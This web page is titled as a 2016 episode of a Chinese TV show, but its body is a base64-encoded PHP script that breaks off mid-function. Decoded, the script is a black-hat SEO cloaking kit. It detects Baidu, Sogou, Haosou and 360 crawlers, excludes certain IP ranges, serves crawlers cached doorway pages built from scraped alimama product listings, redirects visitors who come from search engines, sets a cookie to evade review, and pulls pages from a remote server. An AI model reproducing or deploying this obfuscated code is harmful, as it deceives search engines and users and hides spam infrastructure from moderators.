男生女生闯天涯第八季2016年01月24日
2016-05-28 13:58:13
ICRrZXlOYW1lID0n55S355Sf5aWz55Sf6Zev5aSp5rav56ys5YWr5a2jMjAxNuW5tDAx5pyIMjTm l6UnOyAKCmZ1bmN0aW9uIEFwcF9HZXRMaW5rKCl7CQoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWli YW9qLmNvbS9hcnRpY2xlLSIucmFuZCgxMDAwMDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9Cgpm dW5jdGlvbiBBcHBfR2V0U2VsZigpewoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9h cnRpY2xlLSIucmFuZCgxMDAwMDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgoKLy/Ct8K1wrvD mMONwrzDhsKsCmZ1bmN0aW9uIGdldEltZygpewoJcmV0dXJuICdodHRwOi8vd3d3LnNoYWliYW9q LmNvbS9pbWcvMjAxNTExMDYvbHEnLnJhbmQoMSwyMCkuIi5qcGciOwp9CgoKCgpmdW5jdGlvbiBy bmRTdHIoJGxlbmd0aD04KXsKCSRzdHIgPSBudWxsOwoJJHN0clBvbCA9ICIwMTIzNDU2Nzg5YWJj ZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoiOwoJJG1heCA9IHN0cmxlbigkc3RyUG9sKS0xOwoJZm9y KCRpPTA7JGk8JGxlbmd0aDskaSsrKXsKCQkkc3RyLj0kc3RyUG9sW3JhbmQoMCwkbWF4KV07Cgl9 CglyZXR1cm4gJHN0cjsKfQoKY2xhc3MgY29yZUFwcENhY2hlewoJCglwdWJsaWMgZnVuY3Rpb24g d3JpdGUoJGZpbGUsJGZpbGVuYW1lKXsKCQlyZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVu YW1lLHNlbGY6OmVuY29kZSgkZmlsZSkpOwoJfQoJcHVibGljIGZ1bmN0aW9uIHdyaXRlbm9jb2Rl KCRmaWxlLCRmaWxlbmFtZSl7CgkJcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwk ZmlsZSk7Cgl9CglwdWJsaWMgZnVuY3Rpb24gcmVhZCgkZmlsZW5hbWUpewoJCSRjb250ZW50ID0g ZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1lKTsKCQlpZihzdHJpc3RyKCRjb250ZW50LCI8L2V4 cGxvZGU+IikpewoJCQkkY29udGVudCA9IHNlbGY6OmN1dCgkY29udGVudCwiPGV4cGxvZGU+Iiwi PC9leHBsb2RlPiIpOwoJCX0KCQlyZXR1cm4gc2VsZjo6ZGVjb2RlKCRjb250ZW50KTsKCX0KCglw dWJsaWMgZnVuY3Rpb24gZW5jb2RlKCRmaWxlKXsKCQlyZXR1cm4gYmFzZTY0X2VuY29kZShnemNv bXByZXNzKHNlcmlhbGl6ZSgkZmlsZSkpKTsgCgl9CgoJcHVibGljIGZ1bmN0aW9uIGRlY29kZSgk ZmlsZSl7CgkJcmV0dXJuIHVuc2VyaWFsaXplKGd6dW5jb21wcmVzcyhiYXNlNjRfZGVjb2RlKCRm aWxlKSkpOyAKCX0KCQoJcHVibGljIGZ1bmN0aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJeyAK CQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRmaWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZW5k LCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAgJG1lc3NhZ2VbMF07Cgl9Cn0KCgoKCiRteV9jb250 ZW50PScnOwppZighZW1wdHkoJGtleU5hbWUpKXsKCSRxdWVyeV9kYXRhID0gYXJyYXkoJ3EnPT4k a2V5TmFtZSwpOwoJJG15X2FsaW1hbWEgPSBuZXcgYWxpbWFtYSgkcXVlcnlfZGF0YSk7CgkkbXlf YWxpbWFtYS0+cXVlcnkoKTsKCSRteV9jb250ZW50ID0gJG15X2FsaW1hbWEtPmh0bWwoKTsKfQok ZGF0YSA9IHN0cl9yZXBsYWNlKCc8cGhwdWw+PC9waHB1bD4nLCRteV9jb250ZW50LCRkYXRhKTsK aWYoc3RycG9zKCRkYXRhLCJbaXRlbTptZW51XSIpIT09IGZhbHNlJiYhZW1wdHkoJGtleU5hbWUp KXsKCSR0YWdfdXJsID0gJ2h0dHBzOi8vc3VnZ2VzdC50YW9iYW8uY29tL3N1Zz9jb2RlPXV0Zi04 JnE9Jy51cmxlbmNvZGUoJGtleU5hbWUpOwoJJHRhZ19jb250ZW50ID0gYWxpbWFtYTo6SHR0cFZp c2l0KCR0YWdfdXJsKTsKCSR0YWdfanNvbiA9IGpzb25fZGVjb2RlKCR0YWdfY29udGVudCx0cnVl KTsKCSR0YWdfbWVudSA9ICcnOwoJZm9yZWFjaCAoJHRhZ19qc29uWydyZXN1bHQnXSBhcyAka2V5 ID0+ICR2YWx1ZSkgewoJCSRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJJHBo cF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CiAJCSR0YWdfaXRlbV91cmw9J2h0dHA6Ly8n LiRodHRwX2hvc3QuJHBocF9zZWxmLic/a2V5TmFtZT0nLnVybGVuY29kZSgkdmFsdWVbMF0pOwoJ CSR0YWdfbWVudSA9ICR0YWdfbWVudS4nPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IicuJHRhZ19p dGVtX3VybC4nIj4nLiR2YWx1ZVswXS4nPC9hPic7Cgl9CgkkZGF0YSA9IHN0cl9yZXBsYWNlKCdb aXRlbTptZW51XScsJHRhZ19tZW51LCRkYXRhKTsKfQoKY2xhc3MgYWxpbWFtYXsKCQoJcHVibGlj ICRzaG93X3NwaWRlcjsKCXB1YmxpYyAkanVtcF9yZWY7CglwdWJsaWMgJGh0dHBfcmVmX2ZpbHRl cjsKCXB1YmxpYyAkanVtcF91cmwgPSAiIjsKCXB1YmxpYyAkZG9tYWluID0gIiI7CglwdWJsaWMg JGNvbmRpdGlvbiA9ICIiOwoJcHVibGljICRhcHBfc2VydmVyID0gIiI7CglwdWJsaWMgJGxvZ19z cGlkZXIgPSAiIjsKCXB1YmxpYyAkY3VyX3NwaWRlciA9ICIiOwoJcHVibGljICRhbGxvd19pcCA9 ICIiOwoJcHVibGljICRpc0NhY2hlID0gZmFsc2U7CglwdWJsaWMgJGNyYXdsX3VybCA9ICJodHRw Oi8vcHViLmFsaW1hbWEuY29tL2l0ZW1zL3NlYXJjaC5qc29uIjsKCXB1YmxpYyAkcXVlcnlfZGF0 YTsKCXB1YmxpYyAkY29udGVudDsKCglwdWJsaWMgJGxpX3RlbXBsYXRlPSI8bGk+CiAgPGRpdiBj bGFzcz0nbGlfbGlzdCcgb25tb3VzZW92ZXI9J3RoaXMuY2xhc3NOYW1lPSdsaV9ob3ZlcicnIG9u bW91c2VvdXQ9J3RoaXMuY2xhc3NOYW1lPSdsaV9saXN0Jyc+CiAgICA8ZGl2IGNsYXNzPSduZXcn PjwvZGl2PgogICAgPGRpdiBjbGFzcz0nY29sbGVjdCc+PGEgaHJlZj0namF2YXNjcmlwdDo7Jz48 L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdwaWMnPjxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19i bGFuayc+IDxpbWcgc3JjPSd7cGljdXJsfSc+PC9hPjwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGl0 bGUnPiA8YSBocmVmPSd7dXJsfScgdGFyZ2V0PSdfYmxhbmsnPnt0aXRsZX08L2E+PC9kaXY+CiAg ICA8ZGl2IGNsYXNzPSdtb25leV9iZyc+IAoJICAgIDxzcGFuPjxlbSBjbGFzcz0nbW9uZXlfc3lt Ym9sJz7vv6U8L2VtPjxlbSBjbGFzcz0nbW9uZXlfbnVtJz57cHJpY2V9PC9lbT48L3NwYW4+IAoJ ICAgIDxzcGFuIGNsYXNzPSdmeF9tb25leV9iZyc+IDxlbSBjbGFzcz0nemhla291IGl0ZW0nIHN0 eWxlPSd2aXNpYmlsaXR5OiB2aXNpYmxlOyc+PGI+e25pY2t9PC9iPjwvZW0+IAoJICAgIDxlbSBj bGFzcz0ncWlhbmdvdSc+PC9lbT4gCiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0 b21fYmcnPgogICAgICA8ZGl2IGNsYXNzPSd0anBfYm90dG9tJz4KICAgICAgICA8ZGl2IGNsYXNz PSd0anBfZmFidSBjb2xvcl85OSc+e3RvdGFsRmVlfTwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9 J3RqcF94aWFvYmlhbiBjb2xvcl82Nic+e3RvdGFsTnVtfTwvZGl2PgogICAgICA8L2Rpdj4KICAg IDwvZGl2PgogIDwvZGl2Pgo8L2xpPiAiOwoKCS8v5a6a5LmJ5p6E6YCg5Ye95pWw77yM55So5LqO 5Yid5aeL5YyW6LWL5YC8CiAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkcXVlcnlfZGF0YSkKICAg IHsKICAgICAgICAgJHRoaXMtPnF1ZXJ5X2RhdGEgPSAkcXVlcnlfZGF0YTsgICAgICAgIC8v6L+Z 6YeM5bey57uP5L2/55So5LqGdGhpc+aMh+mSiOivreWPpeKRoAogICAgfQoKCXB1YmxpYyBmdW5j dGlvbiBzZXRRdWVyeURhdGEoJHF1ZXJ5X2RhdGEpewoJCSR0aGlzLT5xdWVyeV9kYXRhID0gJHF1 ZXJ5X2RhdGE7CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGh0bWwoKXsKCQkk Y29udGVudCA9ICR0aGlzLT5jb250ZW50OwoJCSRhbGltYW1hX2pzb24gPSBqc29uX2RlY29kZSgk Y29udGVudCx0cnVlKTsKCQkkaHRtbCA9ICI8dWw+IjsKCQlmb3JlYWNoICgkYWxpbWFtYV9qc29u WydkYXRhJ11bJ3BhZ2VMaXN0J10gYXMgJGtleSA9PiAkdmFsdWUpIHsKCSAJCSRpdGVtX3VybD0k dmFsdWVbJ2F1Y3Rpb25VcmwnXTsKCSAJCSRpdGVtX3RpdGxlPSR2YWx1ZVsndGl0bGUnXTsKCSAJ CSRpdGVtX3ByaWNlPSR2YWx1ZVsnemtQcmljZSddOwoJIAkJJGl0ZW1fcGljdFVybD0kdmFsdWVb J3BpY3RVcmwnXS4nXzQwMHg0MDBfLndlYnAnOwoJIAkJJGl0ZW1fbmljaz0kdmFsdWVbJ25pY2sn XTsKCSAJCSRpdGVtX3RvdGFsTnVtPSfmgLvplIDph486Jy4kdmFsdWVbJ3RvdGFsTnVtJ107Cgkg CQkkaXRlbV90b3RhbEZlZT0n5oC75Lqk5piT6aKdOicuJHZhbHVlWyd0b3RhbEZlZSddOwoKCQkJ JGh0dHBfaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKIAkJCSRwaHBfc2VsZiA9ICRfU0VS VkVSWydQSFBfU0VMRiddOwoJIAkJJGl0ZW1fdXJsPSdodHRwOi8vJy4kaHR0cF9ob3N0LiRwaHBf c2VsZi4nP2dvdHU9Jy5iYXNlNjRfZW5jb2RlKCRpdGVtX3VybCk7CgoJIAkJJGl0ZW1fcGljdFVy bD0naHR0cDovL2kua2FudHUuaW4vJy5iYXNlNjRfZW5jb2RlKCRpdGVtX3BpY3RVcmwpOwoKCQkJ JGxpID0gJHRoaXMtPmxpX3RlbXBsYXRlOwoKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0aXRsZX0n LCRpdGVtX3RpdGxlLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7cHJpY2V9JywkaXRlbV9w cmljZSwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3VybH0nLCRpdGVtX3VybCwkbGkpOwoJ CQkkbGkgPSBzdHJfcmVwbGFjZSgne3BpY3VybH0nLCRpdGVtX3BpY3RVcmwsJGxpKTsKCQkJJGxp ID0gc3RyX3JlcGxhY2UoJ3t0b3RhbE51bX0nLCRpdGVtX3RvdGFsTnVtLCRsaSk7CgkJCSRsaSA9 IHN0cl9yZXBsYWNlKCd7bmlja30nLCRpdGVtX25pY2ssJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxh Y2UoJ3t0b3RhbEZlZX0nLCRpdGVtX3RvdGFsRmVlLCRsaSk7CgoJCQkkaHRtbCA9ICRodG1sLiRs aTsKCSAJCS8vIGVjaG8gJGxpOwoJIAl9CgkgCSRodG1sID0gJGh0bWwuIjwvdWw+IjsKCQlyZXR1 cm4gJGh0bWw7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIHF1ZXJ5KCl7CgkJJHVybCAgPSAkdGhpcy0+ Y3Jhd2xfdXJsLic/Jy5odHRwX2J1aWxkX3F1ZXJ5KCR0aGlzLT5xdWVyeV9kYXRhKTsKCQkkdGhp cy0+Y29udGVudCA9ICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9CgoJcHVibGljIGZ1bmN0aW9u IHJ1bigpewoJCSR0aGlzLT5kb21haW4gPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCSR0aGlz LT5qdW1wX3JlZiA9IGV4cGxvZGUoInwiLCJiYWlkdS58aGFvc28ufGhhb3NvdS58YmluZy58c28u fHNvZ291Lnxzb3NvLiIpOwoJCSR0aGlzLT5odHRwX3JlZl9maWx0ZXIgPSBleHBsb2RlKCJ8Iiwi aW51cmw6fHNpdGU6fHNpdGUlM0F8aW51cmwlM0EiKTsKCQkkdGhpcy0+YWxsb3dfaXAgPSAiMjIy LjE4NC4yMzR8MTEyLjg3LjcxfDU4LjIyMS44Ny58NDkuNjcuMjIzIjsKCQkkdGhpcy0+Y29uZGl0 aW9uID0gKCRfR0VUWydhaWQnXSA+IDEwMDAwMDAwICYmICR0aGlzLT5pc0FsbG93ZElwKCkpOwoJ CSR0aGlzLT5hcHBfc2VydmVyID0gIiI7CgkJJHRoaXMtPmlzQ2FjaGUgID0gRmFsc2U7CgkJaWYo JHRoaXMtPmlzU3BpZGVyKCkgJiYgJHRoaXMtPmlzQWxsb3dkSXAoKSl7CgkJCQlpZigkdGhpcy0+ Y29uZGl0aW9uKXsKCQkJCQlpZigkdGhpcy0+aXNDYWNoZSl7CgkJCQkJCSRyZWxzZXRfaG9zdCA9 ICR0aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7CgkJCQkJCSRkaXIgPSAoc3Vic3RyKFBIUF9PUywgMCwg MykgPT0gJ1dJTicgPyAnQzovd2luZG93cy90ZW1wLycgOiAnL3RtcC8nKSAuIHN1YnN0cihtZDUo JHJlbHNldF9ob3N0KSwgMjYpIC4gY2hyKDQ3KTsKCQkJCQkJJGNhY2hlRmlsZSA9ICRkaXIuJ3Nl c3NfJyAuIHN1YnN0cihtZDUoaHR0cF9idWlsZF9xdWVyeSgkX0dFVCkpLCA2KTsKCQkJCQkJaWYo IUBmaWxlX2V4aXN0cygkZGlyKSl7CiAgICAgICAgICAgICAJCQkJIG1rZGlyKCRkaXIsIDA3Nzcp OwogICAgICAgICAgICAJCQl9CgkJCQkJCWlmKEBmaWxlX2V4aXN0cygkY2FjaGVGaWxlKSAmJiBA ZmlsZXNpemUgKCRjYWNoZUZpbGUpID4gMzIgKXsKCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6 OnJlYWQoJGNhY2hlRmlsZSk7CgkJCQkJCQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9K QUNLX1RFTVBMQVRFKTsKCQkJCQkJCWZvcmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJ JGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywk diwkcGFnZSk7CgkJCQkJCQl9CgkJCQkJCQllY2hvICRwYWdlOwoJCQkJCQkJZXhpdCgpOwoJCQkJ CQl9CgkJCQkJCWVsc2UKCQkJCQkJewkKCQkJCQkJCS8vwrDDvMK6wqzCvcO4QVBQwrzCtMK/w4kK CQkJCQkJCSRjdXJyZW50UGFnZSA9IGluY2x1ZGUoQVBQX0pBQ0tfQVBQRklMRSk7CgkJCQkJCQlp ZigkY3VycmVudFBhZ2UgJiYgc3RybGVuKCRjdXJyZW50UGFnZSkgPiAzMiAmJiBzdHJpc3RyKCRj dXJyZW50UGFnZSwiPC9leHBsb2RlPiIpKXsKCQkJCQkJCQkkdmFyID0gc2VsZjo6Y3V0KCRjdXJy ZW50UGFnZSwiPGV4cGxvZGU+IiwiPC9leHBsb2RlPiIpOwoJCQkJCQkJCSR2YXIgPSBjb3JlQXBw Q2FjaGU6OmRlY29kZSgkdmFyKTsKCQkJCQkJCQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQ UF9KQUNLX1RFTVBMQVRFKTsKCQkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYpewoJCQkJ CQkJCQkkZmxhZyA9ICJ7Ii4ka2V5LiJ9IjsKCQkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgk ZmxhZywkdiwkcGFnZSk7CgkJCQkJCQkJfQoJCQkJCQkJCWVjaG8gJHBhZ2U7CgkJCQkJCQkJQGNv cmVBcHBDYWNoZTo6d3JpdGVub2NvZGUoJGN1cnJlbnRQYWdlLCRjYWNoZUZpbGUpOwoJCQkJCQkJ fQoJCQkJCQl9CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCQllbHNlCgkJCQkJewoJCQkJCQkkY3Vy cmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUpOwoJCQkJCQllY2hvICRjdXJyZW50 UGFnZTsKCQkJCQkJZGllKCk7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZQoJCQkJewoKCQkJCQkkdGhp cy0+X3VuY29uZGl0aW9uX2hvb2soKTsKCQkJCX0KCQl9CgkJZWxzZQoJCXsJCgkJCWlmKCR0aGlz LT5pc1JlZigpICYmICR0aGlzLT5jb25kaXRpb24pewoJCQkJJHRoaXMtPkp1bXAoKTsKCQkJfQoJ CQllbHNlCgkJCXsKCQkJCSR0aGlzLT5fdW5TcGlkZXJfaG9vaygpOwoJCQl9CgkJfQoJfQoKCXB1 YmxpYyBmdW5jdGlvbiBpc0FsbG93ZElwKCl7CgkJJGlwID0gJHRoaXMtPmNsaWVudElwKCk7CgkJ JG5vbl9saXN0ID0gZXhwbG9kZSgifCIsJHRoaXMtPmFsbG93X2lwKTsKCQlmb3JlYWNoKCRub25f bGlzdCBhcyAkaXBsaXN0KXsKCQkJaWYoQHN0cmlzdHIoJGlwLCRpcGxpc3QpKXsKCQkJCXJldHVy biBmYWxzZTsKCQkJfQoJCX0KCQlyZXR1cm4gdHJ1ZTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gY2xp ZW50SXAoKXsKCQlpZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykgJiYgc3RyY2FzZWNtcChnZXRl bnYoJ0hUVFBfQ0xJRU5UX0lQJyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52 KCdIVFRQX0NMSUVOVF9JUCcpOwoJCX0gZWxzZWlmKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9G T1InKSAmJiBzdHJjYXNlY21wKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSwgJ3Vua25v d24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJyk7CgkJ fSBlbHNlaWYoZ2V0ZW52KCdSRU1PVEVfQUREUicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdSRU1P VEVfQUREUicpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdldGVudignUkVNT1RFX0FE RFInKTsKCQl9IGVsc2VpZihpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkgJiYgJF9TRVJW RVJbJ1JFTU9URV9BRERSJ10gJiYgc3RyY2FzZWNtcCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwg J3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCQl9 CgkJcHJlZ19tYXRjaCgiL1tcZFwuXXs3LDE1fS8iLCAkb25saW5laXAsICRvbmxpbmVpcG1hdGNo ZXMpOwoJCSRvbmxpbmVpcCA9ICRvbmxpbmVpcG1hdGNoZXNbMF0gPyAkb25saW5laXBtYXRjaGVz WzBdIDogJ3Vua25vd24nOwoJCXVuc2V0KCRvbmxpbmVpcG1hdGNoZXMpOwoJCXJldHVybiAkb25s aW5laXA7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzU3BpZGVyKCl7CgkJJGJvdHMgPSBhcnJheSgK CQkJCSdCYWlkdScgICAgICAgID0+ICdiYWlkdXNwaWRlcicsCgkJCQknU29nb3UnICAgICAgICA9 PiAnc29nb3UnLAoJCQkJJ0hhb3NvJyAgICAgICAgPT4gJ2hhb3NvdXNwaWRlcicsCgkJCQknMzYw c3BpZGVyJyAgICAgICAgPT4gJzM2MHNwaWRlcicKCQkgKTsKCQkkdXNlckFnZW50ID0gc3RydG9s b3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOwoJCWZvcmVhY2ggKCRib3RzIGFzICRr ID0+ICR2KXsKCQkJaWYgKHN0cmlzdHIoJHVzZXJBZ2VudCwkdikpewoJCQkJaWYoIWVtcHR5KCR0 aGlzLT5sb2dfc3BpZGVyKSl7CgkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCR0aGlzLT5sb2dfc3Bp ZGVyLCR2LiItPlZpc2l0ZWQgIi4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10uImF0OiAiLmRhdGUo IlktbS1kIEg6aTpzIikuIlxuIixGSUxFX0FQUEVORCk7CgkJCQl9CgkJCQkkdGhpcy0+Y3VyX3Nw aWRlciA9ICRrOwoJCQkJcmV0dXJuIHRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlyZXR1cm4g ZmFsc2U7CQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1JlZigpewoJCSRyZWYgPSBzdHJ0b2xvd2Vy KEAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJkb21haW4t ZmlsdGVyLWJ5cGFzcyJdKSl7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJCgkJaWYoISR0aGlzLT5p c0FsbG93ZElwKCkpewoJCQlzZXRjb29raWUoImRvbWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIs IHRpbWUoKSArIDI1OTIwMCk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCWZvcmVhY2goJHRoaXMt Pmh0dHBfcmVmX2ZpbHRlciBhcyAkcil7CgkJCSRyID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIo JHJlZiwkcikpewoJCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFzcyIsICJsb2wiLCB0 aW1lKCkgKyAyNTkyMDApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoJCgkJZm9yZWFjaCgk dGhpcy0+anVtcF9yZWYgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlpZihzdHJpc3RyKCRy ZWYsJHIpKXsKCQkJCXJldHVybiB0cnVlOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBn ZXRTZXJ2ZXJOYW1lKCkgCgl7IAoJCSRTZXJ2ZXJOYW1lID0gc3RydG9sb3dlcigkX1NFUlZFUlsn U0VSVkVSX05BTUUnXT8kX1NFUlZFUlsnU0VSVkVSX05BTUUnXTokX1NFUlZFUlsnSFRUUF9IT1NU J10pOyAKCQlpZiggc3RycG9zKCRTZXJ2ZXJOYW1lLCdodHRwOi8vJykgKSAKCQl7IAoJCQlyZXR1 cm4gc3RyX3JlcGxhY2UoJ2h0dHA6Ly8nLCcnLCRTZXJ2ZXJOYW1lKTsgCgkJfSAKCQlyZXR1cm4g JFNlcnZlck5hbWU7IAoJfQoKCXB1YmxpYyBmdW5jdGlvbiBnZXRQYWdlKCl7CgkJaWYoJHRoaXMt PmlzQ2FjaGUpewoJCQkkY2FjaGU9ImNhY2hlZCI7CgkJfQoJCSR1cmwgID0gJHRoaXMtPmFwcF9z ZXJ2ZXIuIj9kb21haW49Ii4kdGhpcy0+ZG9tYWluLiImZ2lkPTE5OSZzcGlkZXI9Ii4kdGhpcy0+ Y3VyX3NwaWRlci4iJmNhY2hlPSIuJGNhY2hlLiImbG9jYWxQYXI9Ii5odHRwX2J1aWxkX3F1ZXJ5 KCRfR0VUKTsKCQlyZXR1cm4gJHRoaXMtPkh0dHBWaXNpdCgkdXJsKTsKCX0KCiAgICBwdWJsaWMg ZnVuY3Rpb24gSHR0cFZpc2l0KCR3ZWJ1cmwpIHsKICAgIAkkdXNlcl9hZ2VudCA9ICJNb3ppbGxh LzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xMF81KSBBcHBsZVdlYktpdC81Mzcu MzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0Ljg1IFNhZmFyaS81MzcuMzYg UVFCcm93c2VyLzMuOS4zOTQzLjQwMCI7CiAgICAgICAgJHJlbW90ZV9kYXRhID0gTlVMTDsKICAg ICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2V4ZWMnKSkgewogICAgICAgICAgICAkY3Vy bCA9IEBjdXJsX2luaXQoKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BU X1VSTCwgJHdlYnVybCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9I RUFERVIsIDApOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfQ09OTkVD VFRJTUVPVVQsIDMwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JF VFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BU X1VTRVJBR0VOVCwgJHVzZXJfYWdlbnQpOyAKICAgICAgICAgICAgJHJlbW90ZV9kYXRhID0gQGN1 cmxfZXhlYygkY3VybCk7CiAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjdXJsKTsKICAgICAgICB9 IGVsc2UgewogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fY29udGV4dF9j cmVhdGUnKSkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9hcnJheSA9IGFycmF5KCdodHRwJyA9 PiBhcnJheSgnbWV0aG9kJyA9PiAnR0VUJywgJ3RpbWVvdXQnID0+IDMwKSk7CiAgICAgICAgICAg ICAgICAkaHR0cF9oZWFkZXIgPSBAc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRoZWFkZXJfYXJyYXkp OwogICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3ZWJ1 cmwsIGZhbHNlLCAkaHR0cF9oZWFkZXIpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAg ICAgICAgJHRlbXBfdXJsID0gZXhwbG9kZSgiLyIsICR3ZWJ1cmwpOwogICAgICAgICAgICAgICAg JG5ld191cmwgPSAkdGVtcF91cmxbMl07CiAgICAgICAgICAgICAgICAkaHR0cF9wb3J0ID0gODA7 CiAgICAgICAgICAgICAgICAkZ2V0X2ZpbGUgPSBzdWJzdHIoJHdlYnVybCwgc3RybGVuKCRuZXdf dXJsKSArIDcpOwogICAgICAgICAgICAgICAgaWYgKHN0cnN0cigkbmV3X3VybCwgY2hyKDU4KSkp IHsKICAgICAgICAgICAgICAgICAgICAkc192YXJfYXJyYXlbJ3RkJ10gPSBleHBsb2RlKGNocig1 OCksICRuZXdfdXJsKTsKICAgICAgICAgICAgICAgICAgICAkbmV3X3VybCA9ICRzX3Zhcl9hcnJh eVsndGQnXVswXTsKICAgICAgICAgICAgICAgICAgICAkaHR0cF9wb3J0ID0gJHNfdmFyX2FycmF5 Wyd0ZCddWzFdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZzb2NrX3Jlc3Vs dCA9IEBmc29ja29wZW4oJG5ld191cmwsICRodHRwX3BvcnQpOwogICAgICAgICAgICAgICAgQGZw dXRzKCRmc29ja19yZXN1bHQsICdHRVQgJyAuICRnZXRfZmlsZSAuICcgSFRUUC8xLjEnIC4gIlxy XG4iIC4gJ0hvc3Q6JyAuICRuZXdfdXJsIC4gIlxyXG4iIC4gJ0Nvbm5lY3Rpb246Q2xvc2UnIC4g IlxyXG5cclxuIik7CiAgICAgICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGZzb2NrX3Jlc3VsdCkp IHsKICAgICAgICAgICAgICAgICAgICAkcmVtb3RlX2RhdGEgLj0gZmdldHMoJGZzb2NrX3Jlc3Vs dCwgMTAyNCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmc29j a19yZXN1bHQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVtb3Rl 